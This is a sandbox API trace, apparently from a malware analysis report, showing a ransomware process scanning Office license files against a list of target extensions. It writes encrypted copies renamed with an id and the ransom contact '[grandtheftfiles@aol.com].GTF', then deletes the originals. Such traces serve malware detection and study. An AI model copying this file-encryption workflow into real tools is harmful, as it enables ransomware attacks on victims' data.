	[0171.967] lstrlenW (lpString=".xls") returned 4
	[0171.967] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.967] lstrlenW (lpString=".xlsx") returned 5
	[0171.967] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.967] lstrlenW (lpString=".ppt") returned 4
	[0171.967] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0171.967] lstrlenW (lpString=".zip") returned 4
	[0171.968] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.968] lstrlenW (lpString=".rar") returned 4
	[0171.968] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.968] lstrlenW (lpString=".bz2") returned 4
	[0171.968] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.968] lstrlenW (lpString=".7z") returned 3
	[0171.968] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0171.968] lstrlenW (lpString=".dbf") returned 4
	[0171.968] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0171.968] lstrlenW (lpString=".1cd") returned 4
	[0171.968] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0171.968] lstrlenW (lpString=".jpg") returned 4
	[0171.968] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0171.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0171.968] lstrlenW (lpString=".doc") returned 4
	[0171.968] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.968] lstrlenW (lpString=".docx") returned 5
	[0171.968] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.968] lstrlenW (lpString=".pdf") returned 4
	[0171.968] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.968] lstrlenW (lpString=".xls") returned 4
	[0171.968] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.968] lstrlenW (lpString=".xlsx") returned 5
	[0171.968] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.968] lstrlenW (lpString=".ppt") returned 4
	[0171.968] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0171.968] lstrlenW (lpString=".zip") returned 4
	[0171.968] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.969] lstrlenW (lpString=".rar") returned 4
	[0171.969] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.969] lstrlenW (lpString=".bz2") returned 4
	[0171.969] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.969] lstrlenW (lpString=".7z") returned 3
	[0171.969] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0171.969] lstrlenW (lpString=".dbf") returned 4
	[0171.969] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0171.969] lstrlenW (lpString=".1cd") returned 4
	[0171.969] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0171.969] lstrlenW (lpString=".jpg") returned 4
	[0171.969] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.969] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0171.969] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 40
	[0171.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0171.970] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11637) returned 1
	[0171.970] CloseHandle (hObject=0x45c) returned 1
	[0171.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0171.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0171.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0171.971] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.971] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0172.000] GetLastError () returned 0x0
	[0172.000] ReadFile (in: hFile=0x45c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d75, lpOverlapped=0x0) returned 1
	[0172.003] WriteFile (in: hFile=0x530, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0172.005] ReadFile (in: hFile=0x45c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.005] WriteFile (in: hFile=0x530, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x124, lpOverlapped=0x0) returned 1
	[0172.005] SetEndOfFile (hFile=0x530) returned 1
	[0172.006] CloseHandle (hObject=0x530) returned 1
	[0172.006] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.006] SetEndOfFile (hFile=0x45c) returned 1
	[0172.008] CloseHandle (hObject=0x45c) returned 1
	[0172.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0172.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms")) returned 1
	[0172.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0172.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0172.010] lstrlenW (lpString=".doc") returned 4
	[0172.010] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.010] lstrlenW (lpString=".docx") returned 5
	[0172.010] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.010] lstrlenW (lpString=".pdf") returned 4
	[0172.010] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.010] lstrlenW (lpString=".xls") returned 4
	[0172.010] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.010] lstrlenW (lpString=".xlsx") returned 5
	[0172.010] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.010] lstrlenW (lpString=".ppt") returned 4
	[0172.010] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0172.011] lstrlenW (lpString=".zip") returned 4
	[0172.011] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.011] lstrlenW (lpString=".rar") returned 4
	[0172.011] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.011] lstrlenW (lpString=".bz2") returned 4
	[0172.011] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.011] lstrlenW (lpString=".7z") returned 3
	[0172.011] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0172.011] lstrlenW (lpString=".dbf") returned 4
	[0172.011] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0172.011] lstrlenW (lpString=".1cd") returned 4
	[0172.011] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0172.011] lstrlenW (lpString=".jpg") returned 4
	[0172.011] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0172.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0172.011] lstrlenW (lpString=".doc") returned 4
	[0172.011] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.011] lstrlenW (lpString=".docx") returned 5
	[0172.011] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.011] lstrlenW (lpString=".pdf") returned 4
	[0172.011] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.011] lstrlenW (lpString=".xls") returned 4
	[0172.011] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.011] lstrlenW (lpString=".xlsx") returned 5
	[0172.012] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.012] lstrlenW (lpString=".ppt") returned 4
	[0172.012] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0172.012] lstrlenW (lpString=".zip") returned 4
	[0172.012] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.012] lstrlenW (lpString=".rar") returned 4
	[0172.012] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.012] lstrlenW (lpString=".bz2") returned 4
	[0172.012] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.012] lstrlenW (lpString=".7z") returned 3
	[0172.012] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0172.012] lstrlenW (lpString=".dbf") returned 4
	[0172.012] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0172.012] lstrlenW (lpString=".1cd") returned 4
	[0172.012] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0172.012] lstrlenW (lpString=".jpg") returned 4
	[0172.012] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.012] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0172.012] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 40
	[0172.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0172.013] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=19982) returned 1
	[0172.013] CloseHandle (hObject=0x45c) returned 1
	[0172.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0172.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0172.014] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.014] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0172.015] GetLastError () returned 0x0
	[0172.015] ReadFile (in: hFile=0x45c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x4e0e, lpOverlapped=0x0) returned 1
	[0172.017] WriteFile (in: hFile=0x530, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x4e10, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x4e10, lpOverlapped=0x0) returned 1
	[0172.018] ReadFile (in: hFile=0x45c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.018] WriteFile (in: hFile=0x530, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x124, lpOverlapped=0x0) returned 1
	[0172.018] SetEndOfFile (hFile=0x530) returned 1
	[0172.019] CloseHandle (hObject=0x530) returned 1
	[0172.019] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.019] SetEndOfFile (hFile=0x45c) returned 1
	[0172.023] CloseHandle (hObject=0x45c) returned 1
	[0172.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0172.023] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms")) returned 1
	[0172.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0172.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0172.024] lstrlenW (lpString=".doc") returned 4
	[0172.024] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.024] lstrlenW (lpString=".docx") returned 5
	[0172.024] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.024] lstrlenW (lpString=".pdf") returned 4
	[0172.024] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.024] lstrlenW (lpString=".xls") returned 4
	[0172.024] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.024] lstrlenW (lpString=".xlsx") returned 5
	[0172.024] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.024] lstrlenW (lpString=".ppt") returned 4
	[0172.024] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0172.024] lstrlenW (lpString=".zip") returned 4
	[0172.024] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.024] lstrlenW (lpString=".rar") returned 4
	[0172.024] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.024] lstrlenW (lpString=".bz2") returned 4
	[0172.024] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.024] lstrlenW (lpString=".7z") returned 3
	[0172.025] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0172.025] lstrlenW (lpString=".dbf") returned 4
	[0172.025] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0172.025] lstrlenW (lpString=".1cd") returned 4
	[0172.025] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0172.025] lstrlenW (lpString=".jpg") returned 4
	[0172.025] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0172.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0172.025] lstrlenW (lpString=".doc") returned 4
	[0172.025] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.025] lstrlenW (lpString=".docx") returned 5
	[0172.025] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.025] lstrlenW (lpString=".pdf") returned 4
	[0172.025] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.025] lstrlenW (lpString=".xls") returned 4
	[0172.025] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.025] lstrlenW (lpString=".xlsx") returned 5
	[0172.025] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.025] lstrlenW (lpString=".ppt") returned 4
	[0172.025] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0172.025] lstrlenW (lpString=".zip") returned 4
	[0172.217] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.288] lstrlenW (lpString=".rar") returned 4
	[0172.288] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.288] lstrlenW (lpString=".bz2") returned 4
	[0172.288] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.288] lstrlenW (lpString=".7z") returned 3
	[0172.288] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0172.304] lstrlenW (lpString=".dbf") returned 4
	[0172.304] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0172.304] lstrlenW (lpString=".1cd") returned 4
	[0172.304] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0172.305] lstrlenW (lpString=".jpg") returned 4
	[0172.305] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.305] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0172.305] lstrlenW (lpString="HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 36
	[0172.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0172.306] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11617) returned 1
	[0172.307] CloseHandle (hObject=0x55c) returned 1
	[0172.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0172.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0172.307] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.308] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0172.308] GetLastError () returned 0x0
	[0172.308] ReadFile (in: hFile=0x55c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d61, lpOverlapped=0x0) returned 1
